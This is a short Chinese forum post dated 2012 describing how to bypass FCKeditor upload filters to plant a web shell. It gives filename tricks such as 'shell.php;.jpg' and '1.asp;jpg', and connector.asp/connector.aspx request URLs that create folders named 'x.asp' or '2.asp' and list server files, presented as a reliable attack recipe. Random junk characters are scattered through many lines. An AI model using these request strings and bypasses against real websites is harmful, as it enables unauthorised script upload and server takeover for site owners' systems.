很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg" a; V2 \/ Y6 P
& G. F; W; o( F3 L3 U" C) L% a9 q提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。9 Q3 x% Z5 ?7 P. q. w( N9 J& k6 p
- f- c% I7 _: t( v0 c( _
继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。4 `. @: z q! i1 z& \# Z
% ?8 T1 I6 W) L# I. h8 N$ n突破建立文件夹： _4 |* v' G! `* y7 t2 m' Y# |
/ G- r7 K; H- _) ]1 o% q
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp+ R" X# C2 z5 h) p! k$ H7 Y
( z! C0 Z4 c; P$ e) K3 N4 A参数：
$ t9 m* J y% P9 @
* @* H9 b# {3 |5 _当前目录名：CurrentFolder=/qing.asp
6 @; y. O9 ^" Y% @ M% r- j! O6 x0 \; b: m% g
新的目录名：NewFolderName=x.asp
1 ~- h N% e$ s9 X* o* @* W' }( }" n, J5 ~2 u D9 {
其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……4 S& Y2 \9 e# L: _: T! }5 {
# @! }+ d& c, Q- Y那么 x.asp 就已经建立生成了，此方法百试百灵！
+ w7 k8 X% J. q }! h) v, ^% r* B( m
新建文件夹参数 x.asp，基本都能搞定。
* x. K& I! O/ y S/ {' k2 F$ Q. v9 Z4 L* O2 v Y+ G1 K/ Y B
下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建7 v/ I8 c, A: S3 u3 L) s1 H0 F6 J
5 a: Y% v( f8 ~8 Xaspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp, Q+ z* ~& J( K& c. o
* H; v/ \/ w1 O7 w/ }7 A获取文件列表
# R2 m/ }$ B5 |9 ` aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F: ^% p! M& z+ V$ W* O2 t
% x% F8 F# ]9 q! K9 b- l |
发表于 2012-12-31 09:27:09
收藏
支持
反对